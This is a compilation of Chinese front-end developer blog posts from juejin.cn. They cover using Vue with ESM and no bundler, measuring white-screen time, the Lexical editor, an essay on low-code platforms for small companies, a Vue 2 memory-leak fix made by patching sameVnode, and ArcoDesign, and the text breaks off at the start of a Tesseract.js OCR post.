网络请求, 原生的 fetch API 可以胜任,但是对于项目的网络请求,最好有统一的拦截器处理,而 Axios 已经有了一套可行的方案,所以我项目开发一般会用 Axios。本节不讲Axios封装,只介绍在原生 HTML 文件中直接引入和使用 Axios。
要以 ESM 方式引入 Axios,我们得知道 Axios esm 模块的路径。我们在上述的工程化项目 vue-demo 中安装和查看路径
我们在 Import Maps 添加引入
我们添加 src/mock/test.json
文件,里面存放JSON 数据,然后用 axios 请求试试看:
我们在 src/view/about.js
组件里面使用一下 Axios 来获取 mock 数据,并且显示到页面上,代码如下:
import axios from 'axios'
import { ref } from 'vue'
export default {
setup() {
const mockData = ref(null)
axios.get('/src/mock/test.json').then(res => {
mockData.value = res.data
})
return { mockData }
},
template: /*html*/`<div>
<h1>About</h1>
<pre>
{{ mockData }}
</pre>
</div>`
}
刷新看看:
没有问题,可以正常使用,至于 Axios 如何封装得适合项目,这里就不展开了。
CSS 样式解决方案
但目前为止,我们几乎没有写样式,但这种纯 ESM 项目,我们应该怎么写样式呢?
用打包构建工具的项目,一般都有 CSS 的预构建处理工具,比如 Less, Scss等;但实际开发中,大部分就使用一下嵌套而已;
现在最新的浏览器已经支持 CSS 嵌套了:
还有 CSS 模块化的兼容性也完全没问题:
那么此 ESM 项目我这里给一个建议的方案,读者欢迎评论区留言提供其他方案。
新建 src/style/index.css
文件,键入如下样式:
body {
background-color: aqua;
}
在 index.html
文件中引入该样式:
刷新看看是否生效
项目中该怎么进行组件的 CSS 样式隔离呢?这里就建议 采用 ESM 的类名样式方案咯,这里不展开讲,只给一个样式目录参考。建议如下:
将样式放在 src/style
下面,按照组件的目录进行放置,然后在src/style/index.css
引入:
效果如下:
样式中,我使用了CSS模块化语法和嵌套语法,都生效了。
HTML 文件引入、Vue 集成 Element-Plus
最后,我们再引入组件库吧。我这里使用 Element-Plus
官网可以看到也是支持直接引入的,要注意的是得引入其样式
我们在上面工程化项目 vue-demo 里面安装下 Element-Plus 的 npm 包看看 esm 文件的位置(.mjs后缀文件一般就是esm模块):
在 index.html
文件里面引入样式,在 Import Maps 里面引入 element-plus:
然后在 main.js
里把所有 element-plus 组件注册为全局组件并在 src/view/home.js
使用下 Button 组件:
效果如下:
至此,我们在项目中集成了 Element-Plus 组件库了。
其他优化
以上所有的库,都可以在网络的响应里面,复制到本地,作为本地文件引入,这样加载速度更快,没有网络延迟问题。
总结
我们先按照 Vue 官方文档使用了常规的项目开发方式创建了一个项目。
然后我们提出了一个想法:能否直接在 HTML
文件中使用 Vue 及其全家桶?
答案是可行的,因为几乎所有的库都提供了 ESM 的构建文件,而现今的浏览器也都支持 ESM 模块化了。
我们也探讨和实践了 CSS 模块化 和 CSS 嵌套,用在了 demo 中作为 esm 项目的样式方案。
最后我们在项目中集成了 Element-Plus 组件库。
至此,我们可以点题了:无打包构建,浏览器确实能吃上 Vue 全家桶了。但这并不是说,可以在真实项目中这样使用,兼容性就不说了,还有项目的优化,一般得打包构建中做:比如 Tree Shaking、代码压缩等。但如果是一些小玩具项目,可以试试这么玩。无构建和打包,浏览器跑的代码就是你写的源码了。
本文示例代码地址:gitee.com/GumplinGo/1…
来源:juejin.cn/post/7399094428343959552
蔚来面试题:计算白屏时间
深入理解白屏时间及其优化策略
在前端性能优化中,白屏时间(First Paint Time)是一个非常重要的指标。它指的是从用户输入网址并按下回车键,到浏览器开始渲染页面内容的时间段。在这段时间内,用户看到的只是一个空白页面,因此白屏时间的长短直接影响了用户的体验。本文将详细探讨白屏时间的定义、影响因素、测量方法以及优化策略,并结合代码示例进行说明。
什么是白屏时间?
白屏时间是指从用户发起页面请求到浏览器首次开始渲染页面内容的时间。具体来说,白屏时间包括以下几个阶段:
- DNS解析:浏览器将域名解析为IP地址。
- 建立TCP连接:浏览器与服务器建立TCP连接(三次握手)。
- 发起HTTP请求:浏览器向服务器发送HTTP请求。
- 服务器响应:服务器处理请求并返回响应数据。
- 浏览器解析HTML:浏览器解析HTML文档并构建DOM树。
- 浏览器渲染页面:浏览器根据DOM树和CSSOM树生成渲染树,并开始渲染页面。
- 页面展示第一个标签:浏览器首次将页面内容渲染到屏幕上。
白屏时间的长短直接影响了用户对网站的第一印象。如果白屏时间过长,用户可能会感到不耐烦,甚至直接关闭页面。因此,优化白屏时间是前端性能优化的重要目标之一。
白屏时间的影响因素
白屏时间的长短受到多种因素的影响,主要包括以下几个方面:
- 网络性能:网络延迟、带宽、DNS解析时间等都会影响白屏时间。如果网络状况不佳,DNS解析和TCP连接建立的时间会变长,从而导致白屏时间增加。
- 服务器性能:服务器的响应速度、处理能力等也会影响白屏时间。如果服务器响应缓慢,浏览器需要等待更长的时间才能接收到HTML文档。
- 前端页面结构:HTML文档的大小、复杂度、外部资源的加载顺序等都会影响白屏时间。如果HTML文档过大或包含大量外部资源,浏览器需要更长的时间来解析和渲染页面。
- 浏览器性能:浏览器的渲染引擎性能、缓存机制等也会影响白屏时间。不同浏览器的渲染性能可能存在差异,导致白屏时间不同。
如何测量白屏时间?
测量白屏时间的方法有多种,下面介绍两种常用的方法:基于时间戳的方法和基于Performance API的方法。
方法一:基于时间戳的方法
在HTML文档的<head>
标签中插入JavaScript代码,记录页面开始加载的时间戳。然后在<head>
标签解析完成后,记录另一个时间戳。两者的差值即为白屏时间。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>白屏时间计算</title>
<script>
// 记录页面开始加载的时间
window.pageStartTime = Date.now();
</script>
<link rel="stylesheet" href="https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/ionicons/2.0.1/css/ionicons.min.css~tplv-t2oaga2asx-image.image">
<link rel="stylesheet" href="https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/asset/fw-icon/1.0.9/iconfont.css~tplv-t2oaga2asx-image.image">
<script>
// head 解析完成后,记录时间
window.firstPaint = Date.now();
console.log(`白屏时间:${firstPaint - pageStartTime}ms`);
</script>
</head>
<body>
<div class="container"></div>
</body>
</html>
方法二:基于Performance API的方法
使用Performance API可以更精确地测量白屏时间。Performance API提供了PerformanceObserver
接口,可以监听页面的首次绘制(first-paint
)事件。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/ionicons/2.0.1/css/ionicons.min.css~tplv-t2oaga2asx-image.image">
<link rel="stylesheet" href="https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/asset/fw-icon/1.0.9/iconfont.css~tplv-t2oaga2asx-image.image">
<!-- 只是为了让白屏时间更长一点 -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/3.5.13/vue.global.js"></script>
</head>
<body>
<h1>Hello, World!</h1>
<img
src="https://img.36krcdn.com/hsossms/20250217/v2_61ae954a0c4c41dba37b189a20423722@000000_oswg66502oswg900oswg600_img_000?x-oss-process=image/format,jpg/interlace,1"
alt="">
<img
src="https://img.36krcdn.com/hsossms/20250217/v2_9e1df42e783841e79ff021cda5fc6ed4@000000_oswg41322oswg1026oswg435_img_000?x-oss-process=image/format,jpg/interlace,1"
alt="">
<img
src="https://img.36krcdn.com/hsossms/20250217/v2_0376475b9a6a4dcab3f7b06a1b339cfc@5888275_oswg287301oswg729oswg545_img_000?x-oss-process=image/format,jpg/interlace,1"
alt="">
<img
src="https://img.36krcdn.com/hsossms/20250217/v2_e3213623ab5c46da8a6f9c339e1bd781@5888275_oswg1251766oswg1080oswg810_img_000?x-oss-process=image/format,jpg/interlace,1"
alt="">
<img
src="https://img.36krcdn.com/hsossms/20250217/v2_919d4445116f4efda326f651619b4c69@5888275_oswg169476oswg598oswg622_img_000?x-oss-process=image/format,jpg/interlace,1"
alt="">
<img
src="https://img.36krcdn.com/hsossms/20250217/v2_0457ccbedb984e2897c6d94815954aae@5888275_oswg383406oswg544oswg648_img_000?x-oss-process=image/format,jpg/interlace,1"
alt="">
<script>
// 性能 观察器 观察者模式
const observer = new PerformanceObserver((list) => {
// 获取所有的 性能 指标
const entries = list.getEntries();
for(const entry of entries) {
// body 里的第一个 标签的渲染
// 'first-paint' 表示页面首次开始绘制的时间点,也就是白屏结束的时间点
if(entry.name === 'first-paint') {
const whiteScreenTime = entry.startTime;
console.log(`白屏时间:${whiteScreenTime}ms`);
}
}
})
// 首次绘制 first-paint
// 首次内容绘制 first-contentful-paint 事件
// observe 监听性能指标
// buffered 属性设置为 true,表示包含性能时间线缓冲区中已经记录的相关事件
// 这样即使在创建 PerformanceObserver 之前事件已经发生,也能被捕获到
observer.observe({ type: 'paint', buffered: true });
</script>
</body>
</html>
总结
白屏时间是前端性能优化中的一个重要指标,直接影响用户的体验。通过理解白屏时间的定义、影响因素以及测量方法,开发者可以有针对性地进行优化。
来源:juejin.cn/post/7475652009103032358
不得不安利的富文本编辑器,太赞了!
hello,大家好,我是徐小夕。之前和大家分享了很多可视化,零代码和前端工程化的最佳实践,最近也在迭代可视化文档知识引擎Nocode/WEP
。在研究文档编辑器的时候也发现了很多优秀的开源项目,从中吸取了很多先进的设计思想。
接下来就和大家分享一款由facebook开源的强大的富文本编辑器——Lexical。目前在github
上已有 17.7k star
。
github地址: https://github.com/facebook/lexical
往期精彩
Lexical 基本介绍
Lexical 是一个可扩展的 JavaScript 文本编辑器框架,聚焦于可靠性、可访问性和性能。旨在提供一流的开发人员体验,因此我们可以轻松地进行文档设计和构建功能。
结合高度可扩展的架构,Lexical 允许开发人员创建独特的文本编辑体验,功能可以二次扩展,比如支持多人协作,定制文本插件等。
demo演示
我们可以使用它实现类似 Nocode/WEP
文档引擎的编辑体验。
我们可以轻松的选中文本来设置文本样式:
同时还能对文本内容进行评论:
当然插入表格和代码等区块也是支持的:
接下来就和大家一起分享以下它的设计思路。
设计思想
Lexical 的核心是一个无依赖的文本编辑器框架,允许开发人员构建强大、简单和复杂的编辑器表面。Lexical 有几个值得探索的概念:
- 编辑器实例:编辑器实例是将所有内容连接在一起的核心。我们可以将一个 contentEditable DOM 元素附加到编辑器实例,并注册侦听器和命令。最重要的是,编辑器允许更新其 EditorState。我们可以使用 createEditor() API 创建编辑器实例,但是在使用框架绑定(如@lexical/react)时,通常不必担心,因为这会为我们自动处理。
- 编辑器状态:编辑器状态是表示要在 DOM 上显示的内容的底层数据模型。编辑器状态包含两部分:
- Lexical 节点树
- Lexical 选择对象
- 编辑器状态一旦创建就是不可变的,为了更新它,我们必须通过 editor.update(() => {...}) 来完成。但是,也可以使用节点变换或命令处理程序“挂钩”到现有更新中 - 这些处理程序作为现有更新工作流程的一部分被调用,以防止更新的级联/瀑布。我们还可以使用 editor.getEditorState() 检索当前编辑器状态。
- 编辑器状态也完全可序列化为 JSON,并可以使用 editor.parseEditorState() 轻松地将其序列化为编辑器。
- 读取和更新编辑器状态:当想要读取和/或更新 Lexical 节点树时,我们必须通过 editor.update(() => {...}) 来完成。也可以通过 editor.getEditorState().read(() => {...}) 对编辑器状态进行只读操作。
Lexical的设计模型如下:
这里为了大家更直观的了解它的使用,我分享一个相对完整的代码案例:
import {$getRoot, $getSelection, $createParagraphNode, $createTextNode, createEditor} from 'lexical';
// 第一步,创建编辑器实例
const config = {
namespace: 'MyEditor',
theme: {
...
},
onError: console.error
};
const editor = createEditor(config);
// 第二步,更新编辑器内容
editor.update(() => {
const root = $getRoot();
const selection = $getSelection();
// 创建段落节点
const paragraphNode = $createParagraphNode();
// 创建文本节点
const textNode = $createTextNode('Hello world');
// 添加文本节点到段落
paragraphNode.append(textNode);
// 插入元素
root.append(paragraphNode);
});
通过以上两步,我们就实现了文本编辑器的创建和更新,是不是非常简单?
如果大家对这款编辑器感兴趣,也欢迎在github上学习使用,也欢迎在留言区和我交流反馈。
github地址: https://github.com/facebook/lexical
最后
后续我还会持续迭代 Nocode/WEP
项目, 让它成为最好用的可视化 + AI知识库,同时也会持续迭代和分享H5-Dooring零代码搭建平台, 如果你也感兴趣,欢迎随时交流反馈。
往期精彩
来源:juejin.cn/post/7377662459921006629
慎重!小公司要不要搞低代码?
慎重!小公司到底要不要搞自己的低代码?
同学们好,我想结合自己的亲身经历,谈谈我对低代码开发的看法,讨论下人手和精力本就有限的小公司到底要不要搞低代码(中大厂无论资源还是KPI,并不在讨论范围)。
我对低代码最直白的理解
通过可视化拖拽来快速搭建某个场景的工具,以实现降本增效
市面低代码有哪些?
某个场景这个词很广泛,我们根据某个场景设计了各种低代码平台
单一场景
- 用来在线设计图片

- 用来搭建H5页

- 用来搭建商城

- 用来搭建问卷调查

- 用来搭建Form表单

- 审批流管理系统


全场景
除了上述单一场景低代码,还有一种并不是只想做工具。而是要做全场景、无限自由度的通用型低代码平台。
其中代表作,肯定大家都很熟悉,阿里的lowcode-engine。

什么是低代码毒瘤?
就是不少低代码平台用户(技术)的使用反馈
- 代码一句话的事,要搭建一整条逻辑链
- 再完美、再丰富的业务物料库,并不能覆盖所有业务,实际上每有新业务都是伴随大量的新业务物料开发
- 解决BUG时超难debug,你只能根据逻辑链去慢慢检查节点逻辑
- 很容易形成孤岛,你接手的别人屎山代码还能直接阅读代码理解,你接手的屎山低代码平台怎么捋?
- 我想干的是技术,入职干几年JSP我人都会废掉,更别说拖拽逻辑、拖拽组件开发页面,逼我辞职!(真实经历,导致从后端转前端,后文有详述)
我眼中的低代码
回到开头,我理解的低代码

它就应该像一把手术刀(工具),为消除某个病瘤(某个场景),精准、简单、快捷的解决问题(降本增效)。
而不是造一个可视化的编辑器,先用可视化编辑器先去构造场景,然后再在构造的场景上开发,这在我看来是本末倒置。
强如lowcode-engine,阿里一个团队****开发了几年,都定义了schema协议标准,大家使用都是吐嘈声一片。可见这不是技术原因,而是设计原因。从为业务提效的工具改为了提效程序员的编辑器。
切忌!不要为了一口醋,包一顿饺子。
我认为低代码以程序员为用户去设计低代码产品注定会失败,这几年低代码毒瘤的评价就是一场大型的社会实验,这就是用户(程序员)最真实的反馈。
我理想中的的低代码:
- 用户:产品、运营、不懂技术的普通用户
- 功能: 简单、快速、稳定的搭建某一场景
- 目的:实现场景业务的降本增效
- 槽点:原本目的是让非程序员通过平台能简单、快速新增固定场景业务,现在却是想开发一个可视化搭建编辑器取代程序员??
我的结论是,如果那么复杂的场景,物料拖来拖去,逻辑链上百个节点,不如cursor一句话...
这是我的黑历史,也是我的来时路
转行前端:低代码熟练工最早受害者
我2017年大学毕业,原本学的是Java,在南京面试并入职了一家公司做后端开发。
当时公司招聘了大量应届毕业生,我本以为是因为业务发展迅速,需要大量研发人员。然而入职后才发现,公司后端开发并不使用代码开发,而是通过公司自研的一个逻辑编辑器进行开发。这个编辑器采用拖拽节点、搭建逻辑链的方式来实现后端业务。我们平时写的一句代码,实际上就是一条逻辑链,独立的方法构成一个独立的父节点,节点之间再相互串联。之所以招聘这么多人,是因为公司离职率极高,每年大约只有20%的人能留下来。公司通过这种方式,逐年筛选出逻辑编辑器的熟练工。
我干了两个月后,实在无法适应,准备离职。但当时招聘季已经结束,只能暂时忍耐。转机出现在公司的低代码平台——它只支持后端开发,前端仍然需要编写代码。前端组也在招人,于是我谎称自己会前端,成功转到了前端组。但实际上,我当时只会一点Vue基础,完全不懂前端开发,只能从头学起。最终,我从后端彻底转成了前端开发。
在大半年后,我跳槽去了另一家公司。就在我准备离职时,公司其他部门的前端组也开发出了类似的低代码平台。我试用过,虽然非常难用,很多操作反人类,但公司也打算仿照后端的模式,每年招聘前端应届生,逐年筛选出熟练工。
可以说,我们这波人是国内最早被低代码迫害的那批开发者。因为我亲身经历过,所以我很明确地告诉大家:有些公司开发和推广低代码平台的目的,并不是为了提升业务效率,而是为了替换掉研发人员,转而使用一些廉价的低代码平台的熟练工!
这简直从根源上实现了节流,对他们来说也是增效。
开源之旅:构建我理解的低代码平台
了解我的同学可能知道,我是低代码开源项目Mall-Cook和云搭的作者,既然我已受过低代码的迫害,那为什么还要开发低代码?
因为我想还原可视化拖拽搭建降本增效原本的魅力。
我的的研究很明确,就是开发普通人(产品、运营、不管会不会技术的普通人)在某些场景(H5、问卷、图片、商城等)能简单、快速搭建的工具(有用的才算工具,如果只是KPI产品,合格的软件我认为都不算)
五年磨一剑,三代铸巅峰
我公司是一家做文旅的小公司,而公司的业务恰好是我低代码项目落地的最佳场景。
在过去的五年,我独立开发了三代低代码项目,在项目我都会开发完成后。都自荐接入公司的实际项目中,通过用户实际使用的反馈,不断的优化和扩展。
H5-Generate
我自研第一代低代码平台,当时仿照鲁班花了3个月自己搞了一个H5生成器,用来搭建生成活动页H5。
最初的试水之作,现在看来很简陋、使用体验也一般,也没信心开源出来献丑。不过我接入公司文旅小程序,支持了我们当时拳头产品数百个活动页的搭建。

Mall-Cook
自研第二代低代码平台,突破只能搭建H5的桎梏,支持搭建H5、小程序、APP任意端页面搭建。
开源地址: 链接

Mall-Cook旨在开发一个供运营、产品快速搭建商城的可视化平台。其实现了可视化页面搭建、组件流水线式标准接入、搭建页面多端生成(H5、小程序、APP)、运营/产品低学习成本维护等特点。

Mall-Cook是我承上启下的开发项目,在项目开发完成后,在当时我还是比较满意的。
所以把项目进行了开源,并向公司自荐由Mall-Cook替换掉H5-Generate,支持公司后续项目的可视化搭建需求
Mall-Cook在开源和公司都取得了很不错的成绩,真正让普通人去做了部分研发需求做的工作,真做到了我所希望的降本提效。

云搭
自研第三代低代码平台,大成之作,云搭万物,触手可及!
云搭平台: 链接
开源地址: 链接
介绍文章: 链接

云搭是一款功能强大的可视化搭建解决方案,它支持零代码搭建小程序、H5、问卷、图文文章等多种应用,致力于提供一套简单、便捷、专业、可靠的多场景可视化搭建平台。
我愿景是让所有用户(无论会不会技术的普通人),使用云搭可以简单、便捷搭建各种应用。

平台功能
- 使用uni-app渲染器支持H5、小程序、APP的多端渲染
- 开发自定义表单系统,支持表单-列表-详情页的整链路设计方案
- 结合多端渲染与自定义表单系统,云搭设计了小程序、H5、问卷、图文文章多种使用场景
- 开发嵌套布局,提供卡片、tab等容器组件,让页面支持无限层级嵌套布局
- 内置图片实时编辑,给用户更多自由设计空间
- 开发数据分析模块,多维度统计分析问卷、表单数据
- 开发资源社区,共享用户创建的应用模板
- 内置图片库,提供1000+图片资源
通过一代代的产品,解读我眼中的低代码
我对低代码的理解是通过可视化拖拽来快速搭建某个场景的工具
那我设计云搭的理想就是,通过可视化拖拽来快速搭建多个场景的工具库
回到当初那句话,这几年一步步走来,我始终坚信实践是检验真理的唯一标准,我理想国也从未变过...
小公司到底要不要搞自己的低代码?
- 我们公司是做文旅的,活动、电商等天然就满足可视化搭建工具的增效。如果公司业务类似的部分简单场景,可以github找个相关项目或者自研个简单的工具来提效
- 如果用来搭建管理后台页面,我的意见直接是直接否掉。我的亲身例子就是,不要像我那样最后受不了煎熬,只能离职。包括我们公司只是在后台封装了通用业务组件和CURD Hooks来提效开发,新页面直接CV然后改需求,真的我感觉搞来搞去不如不如cursor一句话。
小公司不是那些中大厂,是不会成立项目组来做这些。在人力和精力有限的情况下,如果是固定场景的话,可以找市面上成熟的平台仿照开发,如果是想用lowcode-engine来打造公司通用型平台,直接拒掉...
真实案例
除了我司,我再举个真实例子(大道理谁都会说,我始终坚信实践是检验真理的唯一标准)
古茗的前端团队
古茗在面对门店几百张菜单,经常更新的业务现状
开发门店菜单智能化平台搭建电子菜单,切实的实现增效

还是我那句话,它就应该像一把手术刀(工具),为消除某个病瘤(某个场景),精准、简单、快捷的解决问题(降本增效)。
不为解决实际问题开发它干嘛?不如不做...
巅峰看到虚假的拥护,黄昏见证真正的忠诚
我从低代码还未大火时便开始研究,见证了它的崛起与沉寂。巅峰时,无数人追捧,仿佛它是解决一切问题的灵丹妙药;而如今,热潮退去,许多人选择离开,我还是孜孜不倦的探索我的眼中的低代码。
写这篇文章就是想对低代码祛魅,拨开层层糖衣看看它真实的模样。它没外界吹捧的那么无所不能,但也并未一无是处。
一去数年,我仍在低代码的道路上独自求索,构建自己的理想国。
诸君共勉 ~
来源:juejin.cn/post/7468621394736922662
为了解决内存泄露,我把 vue 源码改了
前言
彦祖们,好久不见,最近一直忙于排查单位业务的终端内存泄露问题,已经吃了不下 10 个 bug
了
但是排查内存泄露在前端领域属于比较冷门的领域了
这篇文章笔者将带你一步步分享业务实践中遇到的内存泄露问题以及如何修复的经历
本文涉及技术栈
- vue2
彦祖们,好久不见,最近一直忙于排查单位业务的终端内存泄露问题,已经吃了不下 10 个 bug
了
但是排查内存泄露在前端领域属于比较冷门的领域了
这篇文章笔者将带你一步步分享业务实践中遇到的内存泄露问题以及如何修复的经历
本文涉及技术栈
- vue2
场景复现
如果之前有看过我文章的彦祖们,应该都清楚
笔者所在的单位有一个终端叫做工控机(类似于医院挂号的终端),没错!所有的 bug 都源自于它😠
因为内存只有 1G
所以一旦发生内存泄露就比较可怕
不过没有这个机器 好像也不会创作这篇文章😺
如果之前有看过我文章的彦祖们,应该都清楚
笔者所在的单位有一个终端叫做工控机(类似于医院挂号的终端),没错!所有的 bug 都源自于它😠
因为内存只有 1G
所以一旦发生内存泄露就比较可怕
不过没有这个机器 好像也不会创作这篇文章😺
复现 demo
彦归正传,demo 其实非常简单,只需要一个最简单的 vue2 demo 就可以了
- App.vue
<script>
import Test from './test.vue'
export default {
name: 'App',
components: {
Test
},
data () {
return {
render: false
}
}
}
script>
<style>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
}
style>
- test.vue
<script>
export default {
name: 'Test',
data () {
return {
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
}, 500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>
彦归正传,demo 其实非常简单,只需要一个最简单的 vue2 demo 就可以了
- App.vue
<script>
import Test from './test.vue'
export default {
name: 'App',
components: {
Test
},
data () {
return {
render: false
}
}
}
script>
<style>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
}
style>
- test.vue
<script>
export default {
name: 'Test',
data () {
return {
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
}, 500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>
复现流程
以下流程建议彦祖们在 chrome 无痕模式
下执行
- 我们点击
render
按钮渲染 test
组件,此时我们发现 dom
节点的个数来到了 2045

考虑到有彦祖可能之前没接触过这块面板,下图展示了如何打开此面板

500ms
后(定时器执行完成后,如果没复现可以把 500ms 调整为 1000ms, 1500ms
),我们点击 destroy
按钮- 我们点击面板这里的强制回收按钮(发现节点并没有回收,已发生内存泄露)
以下流程建议彦祖们在 chrome 无痕模式
下执行
- 我们点击
render
按钮渲染test
组件,此时我们发现dom
节点的个数来到了2045
考虑到有彦祖可能之前没接触过这块面板,下图展示了如何打开此面板
500ms
后(定时器执行完成后,如果没复现可以把500ms 调整为 1000ms, 1500ms
),我们点击destroy
按钮- 我们点击面板这里的强制回收按钮(发现节点并没有回收,已发生内存泄露)
如果你的浏览器是最新的 chrome
,还能够点击这里的 已分离的元素
(detached dom),再点击录制
我们会发现此时整个 test
节点已被分离
问题分析
那么问题到底出在哪里呢?
vue 常见泄露场景
笔者搜遍了全网,网上所说的不外乎以下几种场景
1.未清除的定时器
2.未及时解绑的全局事件
3.未及时清除的 dom 引用
4.未及时清除的 全局变量
5.console 对引用类型变量的劫持
好像第一种和笔者的场景还比较类似,但是仔细看看代码好像也加了
beforeDestroy () {
clearTimeout(this.timer)
}
这段代码啊,就算不加,timer
执行完后,事件循环也会把它回收掉吧
同事提供灵感
就这样笔者这段代码来回测试了半天也没发现猫腻所在
这时候同事提供了一个想法说"total 更新的时候是不是可以提供一个 key
"
改了代码后就变成了这样了
- test.vue
<script>
export default {
name: 'Test',
data () {
return {
renderKey: 0,
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
this.renderKey = Date.now()
}, 500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>
神奇的事情就这样发生了,笔者还是按以上流程测试了一遍,直接看结果吧
我们看到这个 DOM
节点曲线,在 destroy
的时候能够正常回收了
问题复盘
最简单的 demo
问题算是解决了
但是应用到实际项目中还是有点困难
难道我们要把每个更新的节点都手动加一个 key
吗?
其实仔细想想,有点 vue
基础的彦祖应该了解这个 key
是做什么的?
不就是为了强制更新组件吗?
等等,强制更新组件?更新组件不就是 updated
吗?
updated
涉及的不就是八股文中我们老生常谈的 patch
函数吗?(看来八股文也能真有用的时候😺)
那么再深入一下, patch
函数内部不就是 patchVnode
其核心不就是 diff
算法吗?
首对首比较,首对尾比较,尾对首比较,尾对尾比较
这段八股文要是个 vuer
应该都不陌生吧?😺
动手解决
其实有了问题思路和想法
那么接下来我们就深入看看 vue
源码内部涉及的 updated
函数到底在哪里吧?
探索 vue 源码
我们找到 node_modules/vue/vue.runtime.esm.js
我们看到了 _update
函数真面目,其中有个 __patch__
函数,我们再重点查看一下
createPatchFunction
最后 return 了这个函数
我们最终来看这个 updateChildren
函数
其中多次出现了上文中所提到的八股文,每个都用 sameVnode
进行了对比
- function sameVnode
function sameVnode (a, b) {
return (a.key === b.key &&
a.asyncFactory === b.asyncFactory &&
((a.tag === b.tag &&
a.isComment === b.isComment &&
isDef(a.data) === isDef(b.data) &&
sameInputType(a, b)) ||
(isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));
}
果然这里我们看到了上文中 key
的作用
key
不一样就会认作不同的 vnode
那么就会强制更新节点
对应方案
既然找到了问题的根本
在判定条件中我们是不是直接加个 || a.text !== b.text
强制对比下文本节点不就可以了吗?
修改 sameVnode
看下我们修改后的 sameVnode
function sameVnode (a, b) {
if(a.text !== b.text) return false // 文本不相同 直接 return
return (a.key === b.key &&
a.asyncFactory === b.asyncFactory &&
((a.tag === b.tag &&
a.isComment === b.isComment &&
isDef(a.data) === isDef(b.data) &&
sameInputType(a, b)) ||
(isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));
}
方案效果
让我们用同样的代码来测试下
测试了几次发现非常的顺利,至此我们本地的修改算是完成了
如何上线?
以上的方案都是基于本地开发的,那么我们如何把代码应用到线上呢?
其他开发者下载的 vue
包依旧是 老的 sameVnode
啊
不慌,接着看
patch-package
对比了好几种方式,最终我们选择了这个神器
其实使用也非常简单
1.npm i patch-package
2.修改 node_modules/vue
源码
3.在根目录执行 npx patch-package vue
(此时如果报错,请匹配对应 node 版本的包)
我们会发现新增了一个这样的文件
4.我们需要在package.json
scripts
新增以下代码
- package.json
"scripts": {
+"postinstall":"patch-package"
}
至此上线后,其他开发者执行 npm i
后便能使变动的补丁生效了
优化点
其实我们的改造还有一定的进步空间,比如说在指定节点上新增一个 attribute
在函数内部判断这个 attribute
再 return false
这样就不用强制更新每个节点了
当然方式很多种,文章的意义在于解决问题的手段和耐心
写在最后
最后再次感谢同事 juejin.cn/user/313102… 的提供的灵感和协助
感谢彦祖们的阅读
个人能力有限
如有不对,欢迎指正🌟 如有帮助,建议小心心大拇指三连🌟
来源:juejin.cn/post/7460431444630011919
ArcoDesign,字节跳动又一开源力作,企业级UI开源库,一个字“牛”!
大家好,我是程序视点的小二哥!
今天给大家分享的是:ArcoDesign
。
它是字节跳动在稀土开发者大会上开源的企业级设计UI开源库。
关于 ArcoDesign
ArcoDesign
主要解决在打造中后台应用
时,让产品设计和开发无缝连接,提高质量和效率。
目前 ArcoDesign
主要服务于字节跳动
旗下中后台产品的体验设计和技术实现,打磨沉淀 3 年之后开源。现主要由字节跳动 GIP UED 团队和架构前端团队联合共同构建及维护。
ArcoDesign
的亮点
- 提供系统且
全面的设计规范和资源
,覆盖产品设计、UI 设计以及后期开发
React
和Vue
同步支持。同时提供了React
和Vue
两套 UI 组件库。Vue
组件库基于Vue 3.0
开发,并配详细的上手文档。
- 支持一键开启
暗黑模式
,主题无缝切换
// 设置为暗黑主题
document.body.setAttribute('arco-theme', 'dark')
// 恢复亮色主题
document.body.removeAttribute('arco-theme');
- 提供了
最佳实践 Arco Pro
,整理了常见的页面场景,帮助用户快速初始化项目和使用页面模板,从 0 到 1 搭建中后台应用
体验和使用建议
ArcoDesign
官方介绍和文档写得很磅礴,内容超多,格局很大。
针对前端开发者来说,有三点想法:
- 一个设计系统同时提供目前最流行的
React
和Vu
e框架各提供一套 UI 组件库,综合性很强(官方考虑很全面)。 ArcoDesign UI
组件库的使用文档很详尽,上手简单,代码例子充足,使用体验和AntDesign
、Element UI
类似。前端开发者入手成本低
。
ArcoDesign
提供的这套组件设计风格很时尚新潮,配色鲜明,细节处理优雅,细微的交互动效让人很舒服,不需要投入太多的设计工作就可以搭建一个品质很高的应用。
当然,在资源设计方面,也有友好的对接。对于设计能力强的团队,ArcoDesign
也提供了很多快速且精准的样式定制工具。
其他
官网还有很多特性的说明,作为一个介绍文章没法展开篇幅说明,总的来说,ArcoDesign
是一个可用性很强的中后台应用设计系统
。更多内容请查阅官方网站。
ArcoDesign
官方地址
arco.design/
写在最后
【程序视点】助力打工人减负,从来不是说说而已!
后续小二哥会继续详细分享更多实用的工具和功能。持续关注,这样就不会错过之后的精彩内容啦!~
如果这篇文章对你有帮助的话,别忘了【一键三连】支持下哦~
来源:juejin.cn/post/7462197664886636596
纯前端也能实现 OCR?
前言
前端时间有一个 OCR 的需求,原本考虑调用现成的 OCR 接口,但由于只是做一个我个人使用的工具,花钱购买 OCR 接口显得有些奢侈。于是就想着找找是否有现成的库可以自己部署或直接使用,结果发现了一个可以在纯前端实现 OCR 的库——Tesseract.js。
Tesseract.js
